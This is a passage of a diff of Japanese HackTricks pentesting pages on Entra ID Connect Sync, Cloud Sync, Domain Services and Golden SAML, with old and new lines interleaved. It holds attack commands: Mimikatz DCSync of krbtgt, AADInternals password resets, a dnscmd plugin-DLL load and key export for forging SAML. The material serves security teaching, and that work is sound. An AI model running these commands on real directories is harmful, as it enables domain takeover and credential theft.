- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経た後、EntraID ユーザーを AD に同期できないことがわかりました。同期できるのは、パスワードハッシュで同期された EntraID ユーザーのみ、同期先のドメインと同じドメインフォレストに属するドメインから来ている必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください:
- 現時点では Cloud Sync は **"Microsoft Entra ID to AD"** もサポートしていますが、長い時間が経過した後、EntraID ユーザーを AD に同期でき、パスワードハッシュで同期された EntraID ユーザーのみを同期できることがわかりました。また、同期先のドメインと同じドメインフォレストに属するドメインから来る必要があります。詳細は [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits) を参照してください:
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウド作成セキュリティグループのみを含めることができます。
> - 同期され、クラウド作成セキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからでも構いませんが、すべて同じフォレストからでなければなりません。
> - これらのグループには、オンプレミスで同期されたユーザーおよび/または追加のクラウド作成されたセキュリティグループのみを含めることができます。
> - 同期され、クラウド作成されたこのセキュリティグループのメンバーであるオンプレミスのユーザーアカウントは、同じドメインまたはクロスドメインからであってもかまいませんが、すべて同じフォレストからでなければなりません。
したがって、このサービスの攻撃面(および有用性)は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります(両方同じフォレストに存在する必要があるようです)。
したがって、このサービスの攻撃面(および有用性)は大幅に減少します。攻撃者は、他のドメインのユーザーを侵害するために、ユーザーが同期されている初期の AD を侵害する必要があります(両方のドメインは明らかに同じフォレスト内である必要があります)。
### Enumeration

View File

@@ -4,49 +4,49 @@
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect 同期サービス (Microsoft Entra Connect Sync) は、Microsoft Entra Connect の主要なコンポーネントです。これは、オンプレミス環境と Microsoft Entra ID の間でアイデンティティデータを同期するために関連するすべての操作を処理します。
これを使用するには、AD 環境内のサーバーに **`Microsoft Entra Connect Sync`** エージェントをインストールする必要があります。このエージェントが AD 側の同期を担当します。
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
**Connect Sync** は基本的に、**AD から Entra ID ユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです:
**Connect Sync** は基本的に、**AD から Entra ID へのユーザーを同期する「古い」Azure の方法です。** 新しい推奨方法は **Entra Cloud Sync** を使用することです
{{#ref}}
az-cloud-sync.md
{{#endref}}
### 生成されプリンシパル
### 生成されプリンシパル
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [ドキュメント](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD における **レプリケーション (DCSync) 権限** を持つことを意味します。
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD **レプリケーション (DCSync) 権限** を持つことを意味します。
- これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に特別なデフォルト権限なしで作成されます。
- Entra ID には、証明書を持つサービスプリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
- Entra ID には、証明書を持つサービス プリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
## パスワードの同期
### パスワードハッシュ同期
### パスワードハッシュ同期
このコンポーネントは、**AD から Entra ID パスワードを同期する**ためにも使用できるので、ユーザーは AD のパスワードを使用して Entra ID に接続できます。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
このコンポーネントは、**AD から Entra ID へのパスワードを同期する**ためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
基本的に、すべての **ユーザー****パスワードハッシュのハッシュ** がオンプレミスから Azure AD に同期されます。ただし、**平文のパスワード** や **元の** **ハッシュ** は Azure AD に送信されません。
**ハッシュの同期** は **2 分** ごとに行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD **同期されません**。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。
**ハッシュの同期** は **2 分ごと** に行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD 同期されません。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。
オンプレミスのユーザーが Azure リソースにアクセスしようとすると、**認証は Azure AD で行われます**。
> [!NOTE]
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザー** は、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは **同期される可能性があります**
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません**。ただし、この属性を持たない特権グループの一部である他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**
### パスワードの書き戻し
この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD パスワード同期する**ことができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、AD 内の任意のユーザーのパスワードを **変更できる**ようになります。
この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD へのパスワード同期** が可能になります。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、**AD 内の任意のユーザーのパスワードを変更できる**ようになります。
これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば:
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば
- 直接高い権限が割り当てられたユーザー。
- **`DNSAdmins`** グループのユーザー。
@@ -58,7 +58,7 @@ az-cloud-sync.md
### Connect Sync の列挙
ユーザーを確認してください:
ユーザーを確認します:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
@@ -90,7 +90,7 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミス AD **`MSOL_*`** ユーザーのパスワードと AzureAD **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
**暗号化された構成** は **DPAPI** で暗号化されており、オンプレミス AD における **`MSOL_*`** ユーザーのパスワードと AzureAD における **Sync\_\*** のパスワードが含まれています。したがって、これらを侵害することで AD および AzureAD への特権昇格が可能です。
これらの資格情報がどのように保存され、復号化されるかの[完全な概要はこのトークで確認できます](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
@@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> 以前の攻撃では、Entra ID ユーザー `Sync_*` に接続するために他のパスワードが侵害され、その後 Entra ID が侵害されました。しかし、このユーザーはもはや存在しません。
> 以前の攻撃では、他のパスワードが侵害され、その後 `Sync_*` と呼ばれる Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
### ConnectSyncProvisioning_ConnectSync\_<id> の悪用
@@ -128,16 +128,16 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。\
いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました(**サービスプリンシパル** は常に新しい証明書を自分に割り当てることができます)そして、その後 SP として持続性を維持するために使用します。
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました(**サービスプリンシパル**は常に新しい証明書を自分に割り当てることができます)そして、その後 SP として持続性を維持するために使用します。
これらのアクションを実行するために、次のツールが公開されています:[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
### Sync\_\* の悪用 [非推奨]
> [!WARNING]
> 以前は、`Sync_*` というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、一部の環境はまだ存在する可能性があるため、確認する価値があります。
> 以前は、`Sync_*` というユーザーが Entra ID に非常に敏感な権限を持って作成されており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行することができました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、いくつかの環境はまだ存在する可能性があるため、確認する価値があります。
**`Sync_*`** アカウントを侵害することで、任意のユーザー(グローバル管理者を含む)の **パスワードをリセット** することが可能です。
```bash
@@ -175,7 +175,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
このユーザーのパスワードをダンプすることも可能です。
> [!CAUTION]
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーは**権限**を持っており、その**そのサービスプリンシパルにアクセスする**ことで特権昇格を行うことす。
> 別のオプションは、**サービスプリンシパルに特権のある権限を割り当てる**ことであり、**Sync**ユーザーは**権限**があります。そして、その**サービスプリンシパルにアクセスする**ことで特権昇格を行うことができます。
### シームレスSSO

View File

@@ -0,0 +1,86 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
## Domain Services
Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします実際、ドメインコントローラーにアクセスすることすらできません
その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリの検索が常にオンプレミスのAD DS環境に戻ることを望まない場合です。
Entra IDで生成されたユーザー他のアクティブディレクトリから同期されていないユーザーをADドメインサービスに同期するには、**ユーザーのパスワードを新しいものに変更する**必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。
> [!WARNING]
> 新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできませんいくつかの誤設定を悪用しない限り。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーは**Entra IDからのユーザーを同期することによって作成します。** すべてのユーザー他のオンプレミスADから同期されたユーザーを含む、クラウドユーザーEntra IDで作成されたユーザーのみ、または**さらにフィルタリングする**ことができます。
> [!NOTE]
> 一般的に、新しいドメインの設定の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。
### Pivoting
生成された**`AAD DC Administrators`**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限が付与されますただし、ドメインコントローラーにはありません。このグループのメンバーは、**リモートデスクトップを使用してドメイン参加しているVMにリモート接続する**こともできます。また、次のグループのメンバーでもあります:
- **`Denied RODC Password Replication Group`**: これは、RODC読み取り専用ドメインコントローラーにパスワードをキャッシュできないユーザーとグループを指定するグループです。
- **`Group Policy Creators Owners`**: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではあまり興味深くありません。
- **`DnsAdmins`**: このグループはDNS設定を管理することを許可し、過去には[特権を昇格させてドメインを妥協するために悪用されました](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)。ただし、この環境で攻撃をテストした後、脆弱性が修正されていることが確認されました。
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
AD内でこれらの権限を付与するには、グループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、またGPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** のすべてのメンバーをローカル管理者として追加します。
Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ **`AAD DC Administrators`** にユーザーを追加し、RDPを介してドメイン内の任意のマシンにアクセスすれば、データを盗むことができ、さらに **ドメインを侵害することができます。**
しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインからEntra IDに同期されるものは何もありません。ただし、すべてのVMのメタデータを確認し、割り当てられたマネージドIDが興味深い権限を持っている可能性があることを常に確認してください。また、**ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。**
> [!NOTE]
> 過去にこの管理されたADにおいて、DCを侵害することを可能にする他の脆弱性が見つかったことに注意してください、[このようなもの](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。DCを侵害した攻撃者は、Azure管理者が気づかず、またはそれを削除できないまま、非常に簡単に持続性を維持することができます。
### 列挙
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,16 +4,16 @@
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
基本的に、フェデレーションでは、すべての**認証**が**オンプレミス**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレミスの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
基本的に、フェデレーションでは、すべての**認証**が**オンプレ**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認の**情報**を**交換**するために使用されます。
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認の**情報**を**交換**するために使用されます。
フェデレーションのセットアップには、3つの当事者が存在します
@@ -23,12 +23,12 @@
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。
2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP (アイデンティティプロバイダー) に移動することがあります。
2. 次に、SPはユーザー認証のために適切なIdP (例AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係を示す場合、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください:**
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください**
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
@@ -37,42 +37,42 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## ピボッティング
- AD FSは、クレームベースのアイデンティティモデルです。
- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認するために使用されます。"
- ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。
- "..クレームは、ユーザーに関して行われる単なるステートメント例えば、名前、アイデンティティ、グループであり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認するために使用されます。"
- ユーザーのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。
- ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。
- ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。
- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。
- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。
**ゴールデンSAML攻撃:**
**ゴールデンSAML攻撃**
- ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
- 証明書が侵害された場合、Azure ADに同期された任意のユーザーとして認証することが可能です
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がありません。なぜなら、私たちは認証応答を偽造しているからです。
- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がなく、認証応答を偽造しているためです。
- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。
- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。
### ゴールデンSAML
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これ、**サービスプロバイダー (SP)** SAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これにより、**サービスプロバイダー (SP)** SAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名プライベートキー) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を**偽造**することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
ゴールデンSAMLにはいくつかの利点があります
- **リモートで作成**でき、対象のドメインやフェデレーションの一部である必要ありません。
- **リモートで作成**でき、ドメインやフェデレーションの一部である必要ありません。
- **二要素認証 (2FA)** が有効でも効果があります。
- トークン署名の**プライベートキーは自動的に更新されません**。
- トークン署名の**秘密鍵は自動的に更新されません**。
- **ユーザーのパスワードを変更しても**、すでに生成されたSAMLは無効になりません。
#### AWS + AD FS + ゴールデンSAML
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。
AWSが侵害されたドメインを信頼している場合、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**プライベートキー**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、このプライベートキーを取得できます。
AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。
ゴールデンSAML攻撃を実行するための要件は次のとおりです
- **トークン署名プライベートキー**
- **トークン署名秘密鍵**
- **IdP公開証明書**
- **IdP名**
- **ロール名 (引き受けるロール)**
@@ -80,9 +80,9 @@ AWSが侵害されたドメインを信頼している場合、この脆弱性
- AWSのロールセッション名
- AmazonアカウントID
_太字の項目のみが必須です。他の項目は任意で入できます。_
_太字の項目のみが必須です。他の項目は任意で入できます。_
**プライベートキー**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、プライベートキーを[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください
**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください
```bash
# From an "AD FS" session
# After having exported the key with mimikatz

View File

@@ -3,19 +3,19 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Entra ID ユーザーオンプレミスに強制的に同期させる
## Entra ID ユーザーオンプレミスへの同期強制
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした(これが再び Entra ID です)、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができるため、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できる**可能性があります
